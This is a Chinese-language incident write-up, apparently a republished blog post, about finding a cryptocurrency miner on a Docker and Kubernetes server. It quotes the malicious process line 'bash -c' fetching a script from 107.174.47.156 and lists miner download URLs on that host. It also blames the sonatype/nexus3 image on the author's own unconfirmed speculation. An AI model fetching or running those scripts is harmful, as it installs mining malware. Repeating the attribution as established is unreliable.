服務器被疑似挖礦程序植入107.174.47.156,發現以及解決過程(建議所有使用sonatype/nexus3鏡像的用戶清查一下)


  此次服務器被植入挖礦程序發現起來較為巧合,首先是上周三開始,我通過sonatype/nexus3搭建的倉庫間歇性崩潰,但是每次重新start一下也能直接使用所以沒有徹底清查,去docker logs里查看發現是執行bash命令和powershell命令出錯,沒有想明白是什么原因。

  后來恰好ES更新7.0版本了,我一看“呦呵,7.0里面連type都沒有了?”趕緊跟個風,於是把我運行很長時間的ES5.6+kibana5.6的鏡像刪除了,去官網pull了最新的ES和kibana鏡像。在啟動的過程中ES始終無法啟動,我覺得似乎是nofile和nproc設置的問題,眾所周知,ES創建進程和打開文件還是非常多的,也許默認值nproc=1024不太夠?於是將limits.conf中的nproc改為64000,nofile改為102400,sudo reboot。ES7啟動!

  之后兩天相安無事,第三天突然ES程序崩了,由於我ES鏡像設置的always restart,所以這就奇怪了,想連上服務器排查問題,發現ssh服務器被拒絕。

  ssh_exchange_identification: read: connection reset by peer

  這就奇怪了,好好的服務器怎么ssh不上去了呢,當時以為是ssh_server崩了,於是重啟服務器,重啟后一切正常。直到2天后復現了此錯誤。

  搜索之后發現此問題常出現於fork bomb,無限創建進程導致系統資源被占滿,所以連接時沒有資源才拒絕訪問,過了一段時間,突然ssh上去了,執行ps -aux 發現了大量的bash任務

  bash -c "107.174.47.156/xxxxxxx.sh"

  搜索此IP,發現已經被幾個人標記為:

       

Reported on 25 Mar, 2019 12:07:35 PM

This Server spreads mining malware and hacked our Server.

This Server spreads mining malware and hacked our Server. http://107.174.47.156/mr.sh http://107.174.47.156/2mr.sh http://107.174.47.156/11 I Think this is proof enough

Reported on 01 Apr, 2019 03:29:43 PM

Server is hacking and mining crypto on hacked nodes

Server is hacking and mining crypto on hacked nodes

Reported on 04 Apr, 2019 09:05:35 AM

Mining Hacker

Mining Hacker

  確定中招了,僥幸的是,雖然此台服務器提供了很多的服務,但是除了kubernetes以及docker以外,全都是通過容器來提供的,那么就給我排查提供了不小的幫助。在服務器運行過程中,這些容器中絕大部分都是通過official認證的官方鏡像下載的,小部分是通過dockerfile自己創建的,其中包含es,kibana,mysql,centos,ubuntu等等,還有少量幾個是直接pull曾被至少1K人下載過的容器。其中包含pause以及sonatype/nexus3。

  先說pause,我在9台服務器上部署了kubernetes集群,只有提供服務的這台節點出現了此問題,所以應當不是pause容器的問題,那么只剩sonatype/nexus3了。說到這個鏡像,此鏡像其實比較活躍,每次nexus3版本更新都會更新,並且用戶名就是sonatype,雖然沒有official認證的字眼,但我本人一直覺得應該比較靠譜。

但是有兩個疑點:

1、此鏡像不提供Dockerfile,也就是說它要么是通過docker commit實現的,要么就是Dockerfile引用了某些不能被人所知的東西不願意公開。(后來在我自己重新打包nexus3鏡像的過程中,發現打包此鏡像並不需要多復雜的shell命令,如果熟練的話完全可以通過dockerfile的方式進行創建,這樣不提供Dockerfile就顯得更加可疑了。)

2、通過docker logs查看日志時發現,此容器在不停的嘗試執行bash命令和powershell命令。而其他容器都沒有此問題。

3、這個容器啟動時在不停的更新插件,這些插件不清楚是干什么的,如果某個插件的定位被篡改,那么很容易被植入某些奇怪的代碼。

所以我覺得應當是此鏡像的問題。加上這個用戶一直未被official認證,所以我放棄使用此鏡像構建maven倉庫,改為手動容器構建。1天內仍未復現挖礦問題,待觀察幾天后可以下定論了。這個容器我使用了很長時間,但是直到上周三前還沒出現過問題,所以我懷疑是它更新插件的代碼早就被篡改了,新下下來的插件包含挖礦程序。我到現在依舊不認為pull次數超過10M的鏡像有這么大問題會沒人發現,所以我覺得可能是恰好我下載鏡像的版本插件更新的IP有問題?本來沒問題但是IP賣給別人了?DNS出錯了?但是我建議使用此鏡像的都清查一下,反正執行個 ps -aux | grep bash也不是什么麻煩事。

總結:下載非official的鏡像需謹慎即使是這個pull了超過10M次的鏡像,建議限制其內存以及CPU使用量。並且定期查看系統資源占用,及時發現問題。

 

更新:自建的mvn倉庫並沒有持續更新插件以及頻繁創建powershell和bash,目前第三天使用良好,系統也沒有其他程序創建挖礦程序,基本確定是那個container的問題了。極其建議沒有官方鏡像的功能使用團隊或者自建鏡像,盡量不要下載非official認證的鏡像!

PS:我這個容器好像沒有上報給Docker hub就被我刪了,也沒留什么圖,現在去報告好像沒啥證據,如果有人復現了此問題建議去Docker Hub官方提供截圖證據。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM